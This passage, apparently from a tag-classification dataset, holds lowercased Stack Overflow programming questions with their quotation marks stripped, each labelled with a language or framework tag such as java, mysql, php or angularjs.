weight);     void link(vertexit a  vertexit b  int weight); };  #endif /* graph_h_ */ </code></pre>   the error comes here  when i try to push_back()  also marking the function as const error persists. why can not i call a non-const method from a non-const method    <pre><code>template &lt;class t&gt; void graph&lt;t&gt;::link(vertexit a  vertexit b  int weight) {     if(a == graph.end() or b == graph.end())         return;     (a-&gt;adj).push_back(edge(b weight));     (b-&gt;adj).push_back(edge(a weight));  } </code></pre>,c++
passing java method as an argument or create a method local variable  please look at option-1 and option-2 below.      i have some experienced people telling me that option-1 is the best and recommended way to go as it improves readability.  also  helps in knowing variable value during debug session.    however  option-2 removes the following possibilities:   <ul> <li>avoids unnecessary local variable creation and an additional line of code</li> <li>accidental altering of object state as someone can call t.somemethod(..) to alter state of object <code>t</code></li> <li>accidental assignment of <code>t</code> to another instance of entity (of course this can be avoided using final key word on variable t declaration).</li> </ul>   please let me know what the widely accepted way out of this.   <hr>  <h3>option-1:</h3>  <pre><code>public void method() {    entity t = method1();    method2(t); } </code></pre>  <hr>  <h3>option-2:</h3>  <pre><code>public void method() {    method2(method1()); } </code></pre>,java
select distinct by name but different address  email from another table  --    i have the following mysql query :    --   <pre><code>select concat(coalesce(customer.last_name   )       coalesce(customer.first_name   ))  as fullname   customer.first_name  customer.last_name  customer.email   address.phone  customer.customer_id   from repairs  left join customer on customer.customer_id = repairs.customer_id  left join address on address.address_id = customer.address_id  where concat(coalesce(customer.first_name   )       coalesce(customer.last_name   )) like :search  or concat(coalesce(customer.last_name   )       coalesce(customer.first_name   )) like :search  or customer.business_name like :search or customer.email like :search or address.phone like :search  group by fullname  order by fullname asc  limit 15 </code></pre>   here s also some data :     (<strong>customer</strong> table)   <hr>  <pre><code>customer_id | last_name | first_name   |    email           | address_id 1              vandalay    art            van@gmail.com           2 2              vandalay    art            van123y@yahoo.com       3 3              dude        george         george79@gmail.com      4  4              christian   forge          chrfrg@gmail.com        5 </code></pre>   (<strong>address</strong> table)   <hr>  <pre><code>address_id | address                 | phone 2            1st art institute  23    +44392031 3            24 oak street  berkl.    +62342354 4            51st main  california    +662341232  </code></pre>   (<strong>repairs</strong> table)   <hr>  <pre><code>repair_id| customer_id |   other fields    1             1         ...    2             1         ...    3             1         ...    4             2         ...    5             2         ...    6             1         ...    7             3         ...    8             3         ...    9             2         ... </code></pre>   the tables i m using are <strong>repairs</strong>  <strong>customer</strong> and <strong>address</strong>.    i use concat on <strong>customer.last_name</strong> and <strong>customer.first_name</strong> to generate the full name on which i m searching  and coalesce  because sometimes one of them is null.    if there happens to be 2 people with the <strong>same first and last name</strong>  but different <strong>address and email</strong>  my query will only display one of them  because i group on the fullname  and will point me to <strong>just</strong> one of the two people (and to its <strong>client_id</strong>).    i need to get back with my query <strong>distinct</strong> names  but when address / email  is different for 2 people with the same name  i need to have both people included (showing the 2 different addresses). so i guess no group by...but using distinct.    sample of desired output :   <pre><code>1              vandalay    art            van@gmail.com          2              vandalay    art            van123y@yahoo.com       3              dude        george         george79@gmail.com       4              christian   forge          chrfrg@gmail.com </code></pre>   ..so unique names  but i need duplicates if people  happen to have the same name  but actually are 2 different persons     so far i get only one art vandalay  because i group by full name....    any help is appreciated.,mysql
mysql: unable to join a subquery  i would really appreciate any feedback. my code is below and the error code is 1054.  subq1.iata  in the  on  clause is unknown.   <pre><code>select     sum(case             when abs(tz_num_dep-tz_num_arr)&gt;=2 then 1 else 0            end as total) from ontime as o1 inner join (select substring_index(a1.name   airport  1) as departure         case         when a1.timezone= america/new_york (eastern)  then 1        when a1.timezone= america/chicago (central)  then 2        when a1.timezone= america/denver and america/phoenix (mountain)  then 3        when a1.timezone= america/los_angeles (pacific)  then 4        end as tz_num_dep         substring_index(a2.name   airport  1) as arrival         case         when a2.timezone= america/new_york (eastern)  then 1        when a2.timezone= america/chicago (central)  then 2        when a2.timezone= america/denver and america/phoenix (mountain)  then 3        when a2.timezone= america/los_angeles (pacific)  then 4        else null        end as tz_num_arr from ontime as o2 left join airports as a1 on o2.origin=a1.iata left join airports as a2 on o2.dest=a2.iata where a1.country= united states  and a2.country= united states  and cancelled=0 and diverted=0) subq1 on o1.origin=subq1.iata; </code></pre>,mysql
difference between property with empty accessor or without accessor  difference between property with empty accessor or without accessor    <pre><code>// property with empty accessors public string name { get; set; }  // property without accessor public int counter; </code></pre>  <h3>edit:</h3>   what implications beyond the compiler s statement implies such,c#
how to get speed in android app  i tried many codes and no one of them works. i tried this :   <pre><code>//this is in another void location location = new location(locationmanager.gps_provider);                     location.setspeed(0);                     greitis(location);  //this is in countdowntimer which has ontick every 1 second public void greitis(location location) {         if (location.hasspeed()) {             speed.settext(location.getspeed() * 3.6 +   km/h );         }     } </code></pre>   can anyone say why is it not working or write me how to properly get speed.,android
a dedicated server runs mysql only but can only use 20% cpu why   as you may see  for this server the cpu can be use for up to 20%.it would not raise even mysql start to stuck. this server runs mysql only because such php nginx etc is in other server.i assume there is some error in the my.conf please help.    screenshot after type  top  in centos is as flow    <a href= https://i.stack.imgur.com/j2nde.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/j2nde.jpg  alt= enter image description here ></a>    about hardware  it is dual xeon e5-2620 v2. 32g ram.   <pre><code>cat /proc/cpuinfo | grep name | cut -f2 -d: | uniq -c 24  intel(r) xeon(r) cpu e5-2620 v2 @ 2.10ghz cat /proc/cpuinfo | grep  physical | sort |uniq -c 24 address sizes    : 46 bits physical  48 bits virtual 12 physical id  : 0 12 physical id  : 1 </code></pre>   here is my.conf(mysql 5.6.14)   <pre><code>[mysqld] port        = 3306 ;socket      = /tmp/mysql.sock log-error=/var/log/mysql-error.log slow_query_log=1 ;log_queries_not_using_indexes=1 ;log-slow-queries=/var/log/mysql-slow.log ;log_slow_queries=1 ;slow_query_log_file=/var/log/mysql-slow.log ;long_query_time=10 log-output=file slow_query_log_file=/var/log/mysql-slow.log ;long-query-time=10 skip-external-locking table_open_cache = 8192 max_allowed_packet = 1024m table_definition_cache = 1024 max_connections = 1000 max_connect_errors = 10 max_heap_table_size =64m sort_buffer_size = 8m join_buffer_size = 1m thread_cache_size = 64 thread_concurrency = 24 query_cache_size = 256m query_cache_limit = 4m tmp_table_size = 1024m key_buffer_size = 5g read_buffer_size = 2m read_rnd_buffer_size = 16m bulk_insert_buffer_size= 64m myisam_sort_buffer_size = 128m myisam_max_sort_file_size = 256m myisam_repair_threads = 1 myisam_recover innodb_additional_mem_pool_size = 1024m innodb_log_buffer_size = 256m innodb_log_file_size = 1024m innodb_buffer_pool_size = 10g [mysqlhotcopy] interactive-timeout </code></pre>   thanks for your help!,mysql
is there any way to detect deadlock programmatically on ios  i am trying to bulid a debug toolchain for my projects  i used the ping pong between main thread and other thread to detect if the main thread has been stucked. but i came across a situation  when the main thread dead lock  this approach doesn t work. i am looking for an method to detect deadlock programmatically on ios. i ll be appreciated if anybody can give me some advice on this issue.,ios
passing value from ng-model to ng-click function  i have <code>&lt;td&gt;</code> looking like this:   <pre><code>    &lt;td&gt;         &lt;input type= text   ng-repeat= letter in letters(cron_format) track by $index  value= {{letter}}  ng-model= letter /&gt;         &lt;button class= save  ng-click= savecron(user_id script_id cron_format letter) &gt;save&lt;/button&gt;     &lt;/td&gt;  </code></pre>   the <code>value= {{letter}}</code> and ng-model= letter  both contain the correct value inside but when i pass it to the savecron() function like this:   <pre><code>$scope.savecron = function(userid scriptid cronformat data){     console.log(data); } </code></pre>   i get undefined..why is that,angularjs
jquery replace image on imagemap click  i have an image map in one div and i want to replace the image in another div when the hotspots are clicked.      here s the map...   <pre><code>&lt;div id= vtright &gt; &lt;img src= vt_map.jpg  usemap= #vtmap  border= 0 &gt; &lt;map name= vtmap &gt; &lt;area shape= circle  coords= 313 105 15  href= map01.jpg &gt; &lt;area shape= circle  coords= 320 140 15  href= map02.jpg &gt; &lt;area shape= circle  coords= 265 308 15  href= map03.jpg &gt; &lt;area shape= circle  coords= 323 301 15  href= map04.jpg &gt; &lt;area shape= circle  coords= 250 377 15  href= map05.jpg &gt; &lt;area shape= circle  coords= 310 350 15  href= map06.jpg &gt; &lt;area shape= circle  coords= 284 451 15  href= map07.jpg &gt; &lt;area shape= circle  coords= 208 485 15  href= map08.jpg &gt; &lt;/map&gt; &lt;/div&gt; &lt;/div&gt; </code></pre>   ...and here s the image i m trying to replace...   <pre><code>&lt;div id= vtleft &gt; &lt;div id= vtimg &gt; &lt;img id =  vtimage  src= map01.jpg  width= 255  height= 180  class= vtimage &gt; &lt;/div&gt; &lt;/div&gt; </code></pre>   be nice if the images crossfaded or just fade in / fade out as well if that s not stretching the friendship!    i ve tried a bunch of noob level functions that i won t embarrass myself by posting  probably only confuse things. any help is appreciated!,jquery
calling a super method in java <pre><code>customer.java:17: error: cannot find symbol super.display();       ^ symbol: method display()  1 error </code></pre>   this what is happening when i compile my program. how do i display the objects data in the <code>customer</code> subclass           <pre><code>import java.util.scanner;  public class person {      private string name;     private string address;     private string number;      //no argument constructor//     public person() {         name =   ;         address =   ;         number =   ;     }      //explicit value constructor//     public person(string num  string nam  string add) {         number = num;         name = nam;         address = add;     }      //accessor method//     public string getname() {         return name;     }      //mutator method//     public void setname(string name) {         this.name = name;     }      public string getaddress() {         return address;     }      public void setaddress(string address) {         this.address = address;     }      public string gettelephonenumber() {         return number;     }      public void setnumber(string number) {         this.number = number;     }      public string tostring() {         return name +  \n  + address +  \n  + number;     } } </code></pre>   the subclass:   <pre><code>public class customer extends person {      public customer(string num  string nam  string add) {         super(num  nam  add);     }      public boolean checkresponse(char response) {         if (response ==  y ) {             return true;         }         return false;     }      public void display() {         super.display();     } } </code></pre>,java
rails 3 confirm delete - title not displayed  following michael hartl s tutorial. using rails 3.0.9 under ubuntu. the following line is in application.html.erb:   <pre><code>&lt;%= javascript_include_tag :defaults %&gt; </code></pre>   no jquery.  tutorial <a href= http://ruby.railstutorial.org/chapters/updating-showing-and-deleting-users#code%3adelete_links  rel= nofollow >listing 10.38</a> specifies the delete action be called as follows:   <pre><code>&lt;%= link_to  delete   user  :method =&gt; :delete  :confirm =&gt;  you sure                                :title =&gt;  delete #{user.name}  %&gt; </code></pre>   the generated html includes the title tag  e.g.:   <pre><code>&lt;a href= /users/13  data-confirm= you sure   data-method= delete    rel= nofollow  title= delete mylene gaylord &gt;delete&lt;/a&gt; </code></pre>   i assume the purpose of specifying a title is for the popup to identify which user will be deleted.  however the title is never displayed in the confirmation popup.  instead:   <ul> <li>firefox 3 under ubuntu:  title shows as  the page at <a href= http://0.0.0.0  rel= nofollow >http://0.0.0.0</a> says: .</li> <li>firefox 5 under win7:  no title at all; popup appears  ajaxified  with browser dimmed in background</li> <li>ie8 under win7:  title shows as  message from webpage .</li> </ul>   can rails display the title in the popup     can i write an rspec test to confirm that the title is correct,ruby-on-rails
how is reservoir sampling being used here   i am solving a question on leetcode  which is based on the concept of reservoir sampling (rs).  the question is:    <blockquote>    given an array (that may contain duplicates)  randomly output the index of a given target number.  the target number is guaranteed to exist in the array.   for e.g.  if the input is: <code>{1 2 3 3 3}</code> and the target is <code>3</code>  then any of the indices <code>2</code>  <code>3</code> and <code>4</code> must be returned with equal probability.  similarly  if the target is <code>1</code>  then the index <code>0</code> should be returned (obviously with probability of <code>1</code>).  </blockquote>   the most upvoted code is as follows:   <pre><code>public class solution {      int[] nums;     random rnd;      public solution(int[] nums) {         this.nums = nums;         this.rnd = new random();     }      public int pick(int target) {         int result = -1;         int count = 0;         for (int i = 0; i &lt; nums.length; i++) {             if (nums[i] != target)                 continue;             if (rnd.nextint(++count) == 0)                 result = i;         }          return result;     } } </code></pre>   as i understand rs  we first select  say <code>n</code> numbers.  then  when we select the next number  we need to select it with the probability  <code>1/(n+1)</code>.  how does:   <pre><code>rnd.nextint(++count) == 0 </code></pre>   select a number with the probability of <code>1/(n+1)</code>   i understand we do a <code>++count</code> to make it <code>n+1</code>  but what happened to the numerator   why is it <code>rnd.nextint()</code> instead of a simple <code>1</code>     <strong>edit:</strong> question link <a href= https://leetcode.com/problems/random-pick-index/description/  rel= nofollow noreferrer  title= here >here</a>.,java
java bufferedimage increase width  i have managed to load in an image using:   <pre><code>bufferedimage image = imageio.read(out); </code></pre>   and place text over it however  i want the text to appear next to the image. how can i increase the image width on the right to allow for space for the text to be drawn on. or do i have to create a new empty image and insert the existing one     thanks,java
how to do numeric iterators in angularjs   i have to convert java code to angularjs ..in java i used <code>while</code> loop for numeric iterator something like below and in angularjs i tried <code>ng-repeat</code> but its not worked as loop sometime increase by +1 or +2 etc.can someone please guide ho to do numeric iteration in angularjs    <pre><code> int curretpos = 0;  string namepattern = somevalue ;          while (curretpos &lt; namepattern.length()) {           string featurename =   ;           if (constants.namepatternformat.charat(0) == namepattern.charat(curretpos)             &amp;&amp; constants.namepatternformat.charat(1) == namepattern.charat(curretpos + 1)) { // name pattern              curretpos = curretpos + 2;             int nextpos = namepattern.indexof(constants.namepatternformat.charat(2)  curretpos);              if (nextpos != -1) {               featurename = namepattern.substring(curretpos  nextpos);               curretpos = nextpos;               if (features.containskey(featurename)) {                 name = name.concat(string.valueof(features.get(featurename)));               } else {                 throw someexception;               }             } else {                  throw someexception;             }           } else if (constants.namepatternparent.charat(0) == namepattern.charat(curretpos)             &amp;&amp; (character.tolowercase(constants.namepatternparent.charat(1)) == character.tolowercase(namepattern.charat(curretpos + 1)))) { // parent name pattern              if((namepattern.length() - curretpos) &gt;= constants.namepatternparent.length()) {               if (!constants.namepatternparent.equals(namepattern.substring(curretpos  (curretpos+constants.namepatternparent.length())))) {                           throw someexception;               }             }else{                  throw someexception;             }              curretpos = curretpos + (constants.namepatternparent.length() - 1);              if(null != parent){               name = name.concat(parent);             }            } else if (constants.namepatternincrement.charat(0) == namepattern.charat(curretpos)             &amp;&amp; (character.tolowercase(constants.namepatternincrement.charat(1)) ==  character.tolowercase(namepattern.charat(curretpos + 1)))) { // increment name pattern              if((namepattern.length() - curretpos) &gt; constants.namepatternincrement.length()) {               if (!constants.namepatternincrement.substring(0  5).equals(namepattern.substring(curretpos  curretpos+5))) {                   throw someexception;               }             }else{                  throw someexception;             }              curretpos = curretpos + (constants.namepatternincrement.length() - 2) + 1;              int nextpos =               namepattern.indexof(constants.namepatternincrement                 .charat(constants.namepatternincrement.length() - 1)  curretpos);              if (nextpos != -1) {               featurename = namepattern.substring(curretpos  nextpos);               curretpos = nextpos;                if (features.containskey(featurename)) {                 if (null != features.get(featurename)                   &amp;&amp; features.get(featurename).matches( ^- \\d+$ )) {                    int currentinstance = integer.valueof(features.get(featurename)) + (instance-1);                   name = name.concat(string.valueof(currentinstance));                 } else {                      throw someexception;                 }               } else {                   throw someexception;               }             } else {                  throw someexception;             }           } else {             name = name.concat(string.valueof(namepattern.charat(curretpos)));           }           curretpos = curretpos + 1;         } </code></pre>,angularjs
css div disappears on scroll  i m working on a site which uses pure css and hover states to build the drop-menu. the problem is that the number of navigation items are so many that the a user has to scroll to see it on smaller laptops. but what happens is the menu disappears before reaching the bottom as if a mouseout event has occurred. is there a way to prevent this without having to convert the menu to javascript/jquery     <a href= http://spinov8.com/sns_demo/shop  rel= nofollow >http://spinov8.com/sns_demo/shop</a>,css
zbar sdk integration with ios  i have recently downloaded zbar sdk  and now wanted to scan barcode  but in tutorial and also in sample application there is need to display zbarreaderviewcontroller in modalview  to get it ready for scan. is there any way to read barcode without showing zbarviewcontroller  lets say do it in something in background mode,ios
jump to next view controller with out back button  i have a login page when a user login with user name or password then it jump to next view controller. but with back navigation  i want jump to next view controller but without back button navigation.    for this work i write code   <pre><code>homeviewcontroller *pushwithslot=[self.storyboard instantiateviewcontrollerwithidentifier:@ homeviewcontroller ];  [self.navigationcontroller pushviewcontroller:pushwithslot animated:yes]; </code></pre>,ios
php private variable is  undefined  though it is defined  i ve been toying with a runescape hiscore image creator. people tend to use these for signatures on their profiles on forums.    while reworking some of the code  i broke it. i m getting:   <blockquote>    undefined variable: exp in /assets/user.php on line 8   fatal error: cannot access empty property in /assets/user.php on line 8  </blockquote>   however  the variable isn t even on line 8 (i assume that s something to do with it trimming white space).    here is my user.php file   <pre><code>&lt; php  class user {  public static $names = [ overall    attack    defence    strength    hitpoints    ranged    prayer    magic    cooking    woodcutting    fletching    fishing    firemaking    crafting    smithing    mining   herblore    agility    thieving    slayer    farming    runecrafting    hunter    construction    summoning   dungeoneering    divination    invention ];  private $user; private $myskills = []; private $exp = [];  public function __construct($result) {     $array = explode(     $result);     $id = 0;     $arrid = 1;     while($arrid &lt; count($result)) {         $this-&gt;$myskills[$id] = $array[$arrid++];         $temp = explode(     $array[$arrid++]);         $this-&gt;$exp[$id++] = $array[0];     } }  public function gettotalxp() {     return $this-&gt;$exp[0]; }  public function getlevel($skill) {     global $names;     for ($x = 0; $x &lt;= count($names); $x++) {         if(strcasecmp($skill  $names[$x]) == 0) {             return $this-&gt;$myskills[$x];         }     }     return 0; }  public function getexp($skill) {     global $names;     for ($x = 0; $x &lt;= count($names); $x++) {         if(strcasecmp($skill  $names[$x]) == 0) {             return $this-&gt;$exp[$x];         }     }     return 0; } }  &gt; </code></pre>   i was getting errors with the $names but that was because i wasn t using global $names in the functions.,php
how to find rows with the sequence of values in a column using sql   consider the example table name  person .   <pre><code>name    |date   |work_hours --------------------------- john|   22/1/13     |0 john|   23/1/13     |0 joseph| 22/1/13     |1 joseph| 23/1/13     |1 johnny| 22/1/13     |0 johnny| 23/1/13     |0 jim|    22/1/13     |1 jim|    23/1/13     |0 </code></pre>   in the above table  i have to find rows with the sequence of  0  followed by  1  in the column work_hours. please share the idea/query to do it.    the output i need is   <pre><code>name    |date   |work_hours --------------------------- john|   23/1/13     |0 joseph| 22/1/13     |1 johnny| 23/1/13     |0 jim|    22/1/13     |1 </code></pre>,sql
bitwise or and logical or operators. what s the difference   is there any functional difference between logical and bitwise operators in the following code  what are the reasons to use one or another    <pre><code>typedef unsigned char boolean;  void oroperatorscomparison(boolean bbar  boolean bfoo) {   boolean blogicalor = (bfoo || bbar);   boolean bbitwiseor = (bfoo | bbar);    ...   } </code></pre>,c
what character should i use to maintain height of an empty (zero width) string   i have a string that can potentially be empty  and in that case  i want to substitute it with a special character to maintain the ordinary text height while having zero width. in tex  this would be called <code>\strut</code>. what is the counterpart for that in html  i came up with two candidates: <code>&amp;#x2060;</code> and <code>&amp;#xfeff;</code>. should i use one of these,html
bin/rails:5: syntax error  unexpected tconstant  expecting end-of-input  when i run  rails s  show me this message  bin/rails:5: syntax error  unexpected tconstant  expecting end-of-input  can anyone help me,ruby-on-rails
javascript : check if variable exists and if equal to value  i have three pages utilizing the same code and on one of the pages this variable doesn t exist  on the other two the variable tickettype has a value of 1 or 2.  i need to first check if tickettype exists and isn t undefined and secondly  need to determine if it s one or 2.    this if statement generates an error:   <pre><code>if(typeof tickettype != undefined &amp;&amp; tickettype == 1){} </code></pre>   it s saying <code>tickettype isn t defined</code>.  i tried nesting the if statements to check if it was defined first thinking it wouldn t go and try the inner if statement but firebug still generates an error.    any ideas   there has to be a way to do this...,javascript
what is difference between class class object and object of a class in java   can someone please explain me  difference between class class object and object of a class in java.if possible with a simple example.,java
add a div to create padding  i have a span.  inside it i have two divs.  one used as padding and a second with content.  if the content is multi-line it wraps around my padding div  which i want to prevent.    this jsfiddle shows what i currently have. <a href= https://jsfiddle.net/ju637z98/  rel= nofollow noreferrer >https://jsfiddle.net/ju637z98/</a>   <pre><code>&lt;span&gt;   &lt;span style= width: 20px; display: inline-block; &gt;    &lt;/span&gt;   &lt;span style= display: inline;   &gt;     this is a lot of text. this is a lot of text. this is a lot of text. this is a lot of text. this is a lot of text. this is a lot of text.this is a lot of text. this is a lot of text. this is a lot of text.this is a lot of text. this is a lot of text. this is a lot of text.this is a lot of text. this is a lot of text. this is a lot of text.this is a lot of text. this is a lot of text. this is a lot of text.   &lt;/span&gt; &lt;/span&gt; </code></pre>   if i change the content div to    <pre><code>display: inline-block  </code></pre>   the two divs end up being stacked on top of each other.      i m trying to avoid styling the content div because the the padding div won t always be present so i d like to avoid having two different styles to achieve what i need.      any help would be appreciated.    edit: updated the snipped above and the jsfiddle to use spans instead of divs.,css
"angularjs issue with (error catch is not a function)  hi i need some minor direction. i can pull the data in the viewctrl but every time i go to add a new contact  the issue i get is $http(..)then(..)catch is not a function at object.$scope.addcontact i have no idea what is causing this  its also not allowing me to  post  but i am able to  get . can anyone see whats wrong with what i am doing     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>       var app = angular.module( app   []);
 
         app.controller( viewctrl   function($scope  $http) {
             var url =  https:// ;
             $http({
                 method:  get  
                 url: url 
                 headers: {
                      accept :  application/json;odata=verbose 
                 }
             }).success(function(data  status  headers  config) {
                 $scope.contacts = data.d.results;
                 console.log($scope.contacts);
             }).error(function(data  status  headers  config) {});
 
 
 
 
 
         });
 
 
         app.controller( additemscontroller   function($scope  $http) {
          
                 var url =  https:// ;
 
                 $scope.addcontact = function() {
                     return $http({
                         headers: {
                              accept :  application/json; odata=verbose  
                              x-requestdigest : jquery( #__requestdigest ).val()
                         } 
                         method:  post  
                         url: url 
                         data: {
                              lastname : $scope.lastname 
                              firstname : $scope.firstname
                         }
                     })
                         .then(savecontact)
                         .catch(function(message) {
                             console.log( addcontact() error:   + message);
                         });
 
                     function savecontact(data  status  headers  config) {
                         alert( item added successfully );
                         return data.data.d;
                     }
                 }
                 //console.log( an item has been added! );
             });
 
         app.controller( edititemscontroller   function($scope) {
 
             $scope.edititem = function() {
                 console.log( an item can now be edited! );
 
             }
 
         });
 
 
         app.controller( deleteitemscontroller   function($scope) {
             $scope.deleteitem = function() {
 
                 console.log( item has been deleted );
             }
 
         });</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;script src= https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js &gt;&lt;/script&gt;
 &lt;script src= https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js &gt;&lt;/script&gt;
 &lt;!doctype html&gt;
 
 &lt;html ng-app= app &gt;
 
 &lt;body ng-app= myapp &gt;
     &lt;div ng-controller= viewctrl &gt;
 
         &lt;div ng-repeat= contact in contacts &gt;
             {{contact.id}}: {{contact.lastname}}  {{contact.firstname}}
             &lt;button&gt;edit&lt;/button&gt;
             &lt;button&gt;delete&lt;/button&gt;
             &lt;br /&gt;
         &lt;/div&gt;
     &lt;/div&gt;
     &lt;h3&gt;add contacts&lt;/h3&gt;
     &lt;div ng-controller= additemscontroller &gt;
         &lt;div class= table &gt;
             &lt;div class= row &gt;
                 &lt;div class= cell &gt;
                     first name :
                 &lt;/div&gt;
                 &lt;div class= cell &gt;
                     &lt;input type= text  id= firstname  ng-model= firstname  /&gt;
                 &lt;/div&gt;
             &lt;/div&gt;
             &lt;div class= row &gt;
                 &lt;div class= cell &gt;
                     last name :
                 &lt;/div&gt;
                 &lt;div class= cell &gt;
                     &lt;input type= text  id= lastname  ng-model= lastname  /&gt;
                 &lt;/div&gt;
             &lt;/div&gt;
             &lt;div class= row &gt;
                 &lt;div class= cell &gt;
 
                 &lt;/div&gt;
                 &lt;div class= cell &gt;
                     &lt;input type= button  id= btnaddcontact  value= add contact  ng-click= addcontact()  /&gt;
                     &lt;input type= button  id= btnaddcontact2  value= add contact  ng-click= additem()  /&gt;
                 &lt;/div&gt;
             &lt;/div&gt;
         &lt;/div&gt;
     &lt;/div&gt;
     &lt;hr /&gt;
 
     &lt;h3&gt;edit contacts&lt;/h3&gt;
     &lt;div ng-controller= edititemscontroller &gt;
         &lt;div class= table &gt;
             &lt;div class= row &gt;
                 &lt;div class= cell &gt;
                     id :
                 &lt;/div&gt;
                 &lt;div class= cell &gt;
                     &lt;input type= text  id= itemid  ng-model= itemid  /&gt;
                 &lt;/div&gt;
             &lt;/div&gt;
             &lt;div class= row &gt;
                 &lt;div class= cell &gt;
                     first name :
                 &lt;/div&gt;
                 &lt;div class= cell &gt;
                     &lt;input type= text  id= firstname  ng-model= firstname  /&gt;
                 &lt;/div&gt;
             &lt;/div&gt;
             &lt;div class= row &gt;
                 &lt;div class= cell &gt;
                     last name :
                 &lt;/div&gt;
                 &lt;div class= cell &gt;
                     &lt;input type= text  id= lastname  ng-model= lastname  /&gt;
                 &lt;/div&gt;
             &lt;/div&gt;
             &lt;div class= row &gt;
                 &lt;div class= cell &gt;
 
                 &lt;/div&gt;
                 &lt;div class= cell &gt;
                     &lt;input type= button  id= btneditcontact  value= edit contact  ng-click= edititem()  /&gt;
                 &lt;/div&gt;
             &lt;/div&gt;
         &lt;/div&gt;
     &lt;/div&gt;
     &lt;hr /&gt;
 
     &lt;h3&gt;delete contacts&lt;/h3&gt;
     &lt;div ng-controller= deleteitemscontroller &gt;
         &lt;div class= table &gt;
             &lt;div class= row &gt;
                 &lt;div class= cell &gt;
                     id :
                 &lt;/div&gt;
                 &lt;div class= cell &gt;
                     &lt;input type= text  id= itemid  ng-model= itemid  /&gt;
                 &lt;/div&gt;
             &lt;/div&gt;
             &lt;div class= row &gt;
                 &lt;div class= cell &gt;
 
                 &lt;/div&gt;
                 &lt;div class= cell &gt;
                     &lt;input type= button  id= btndelcontact  value= delete contact  ng-click= deleteitem()  /&gt;
                 &lt;/div&gt;
             &lt;/div&gt;
         &lt;/div&gt;
     &lt;/div&gt;
     &lt;/div&gt;
 
 
 
 
 
 
 &lt;/body&gt;
 
 
 &lt;/html&gt;</code></pre>
 </div>
 </div>",angularjs
does the order on the where statement hits the performance   does the order you specify when constructing your query affects the performance  or sql does smart filtering.    for example assume i have a table employee with 2 million records:   <pre><code>employee( emp_id  name  dept_id  country_id ) </code></pre>   not let s say i want  to get the id and name for those employees in  country id 500 and dept id 17. not lets say there about 300k  in that dept and about 1million in that country  however the result of those that met both criterions isw 50k.    would it make a perfomance difference if i do:   <pre><code>select * from employees where dept_id = 17 and country_id= 500 </code></pre>   than if i do:   <pre><code>    select *     from employees     where  country_id= 500 and dept_id = 17 </code></pre>   assuming the latter will cut down the table to 1 million then do the rest from there  and  the first query will cut down to 300k and do the 2nd filter from there.    however as mentioned before i m unsure this is how the sql motor handles the query.,sql
array_push confusion adding extra content  i am trying to add some information to an array that i am working on. i found some information on this site that has allowed me to do it ( <a href= https://stackoverflow.com/questions/1355072/array-push-with-key-value-pair >array_push() with key value pair</a> ) but i am getting the information in the array twice and i don t understand why.     here is my array   <pre><code>array_push($networks[0]  $networks[0][ class ]= fa fa-facebook ); print_r($networks);           array(4) { [0]=&gt; array(5) { [ name ]=&gt; string(1)  3  [ url ]=&gt; string(14)  facebook.com/#  [ icon_title ]=&gt; string(8)  facebook  [ class ]=&gt; string(14)  fa fa-facebook  [0]=&gt; string(14)  fa fa-facebook  } </code></pre>   here is what i want to get    <pre><code>        array(4) { [0]=&gt; array(4) { [ name ]=&gt; string(1)  3  [ url ]=&gt; string(14)  facebook.com/#  [ icon_title ]=&gt; string(8)  facebook  [ class ]=&gt; string(14)  fa fa-facebook  } </code></pre>   as you can see. the array_push is adding a second string to the end with the fa fa-facebook info. i don t wan that there. just the last bit should be there.   <pre><code> [ class ]=&gt; string(14)  fa fa-facebook  </code></pre>,php
java example for encrypting pwd with whirlpool algorithm using gnu-crypto jar  i want to encrypt a string using gnu.crypto.hash.whirlpool hashing.    the encrypt should encrypt the password and should return the encrypted pwd. encrypt(pwd);   <blockquote>    this method should have implementation for encrypting pwd using gnu jars and whirlpool<br>       hashing algorithm    which should be equal to the pwd generated by the below site    <a href= http://hash.online-convert.com/whirlpool-generator  rel= nofollow >http://hash.online-convert.com/whirlpool-generator</a>  </blockquote>   i tried with the code below but i am unable to get the 512 byets code similar to the whirlpool site generated:   <pre><code>import gnu.crypto.hash.hashfactory; import gnu.crypto.hash.imessagedigest;    public class encryptpwdwithapi{ public static void main(string arg[]) {          encrypt( somepwd );     } public static string encrypt(string password) { imessagedigest md = hashfactory.getinstance( whirlpool ); md.update(input  0  input.length);  byte[] digest = md.digest();  system.out.println(  input :  +new string(input)+  \npwd :  +new string(digest) } </code></pre>   },java
php code parse error: syntax error  unexpected  i would like to make a link for this query    here is my code   <pre><code>$getfood =  &lt;a href= ./student.php id= &gt;  . $food[ clickid ] .  &lt;/a&gt;  $food[ clickid ]; </code></pre>   i get error: <code>parse error: syntax error  unexpected  / </code>    how to write the code in proper way..    it should be like <code>&lt;a href= ./student.php id=33 &gt;33&lt;/a&gt; 33</code>,php
inserting entries only once  i have a relationships table  the table looks something like this   <pre><code> ------------------------ | client_id | service_id |  ------------------------ | 1         | 1          | | 1         | 2          | | 1         | 4          | | 1         | 7          | | 2         | 1          | | 2         | 5          |  ------------------------ </code></pre>   i have a list of new permissions i need to add  what i m doing right now is  for example  if i have to add new permissions for the client with id 1  i do   <pre><code>delete from mytable where client_id = 1 insert into .... </code></pre>   is there a more efficient way i can remove only the ones i won t insert later  and add only the new ones,sql
how to create error message in above two <td>  there are two  in my project    name: text box       whenever user click on submit button without entering any thing then the error message should come above of those two     plz help me two solve it,html
detect if first element is visible w/ jquery  i have a div with an overflow set to hide elements.    <pre><code>&lt;div style= overflow:hidden; height:40px &gt;     &lt;div class= item &gt;item 1&lt;/div&gt;     &lt;div class= item &gt;item 2&lt;/div&gt;     &lt;div class= item &gt;item 3&lt;/div&gt; &lt;/div&gt; </code></pre>   is it possible in jquery to detect if the first item is visible or  hidden  is it possible to detect the same for the last item,jquery
error :: unicodedecodeerror  i am getting    <pre><code>unicodedecodeerror:  ascii  codec can t decode byte 0xb0 in position 104: ordinal not in range(128) </code></pre>   i am using <code>intgereproparty</code>  <code>stringproparty</code>  <code>datetimeproparty</code>,python
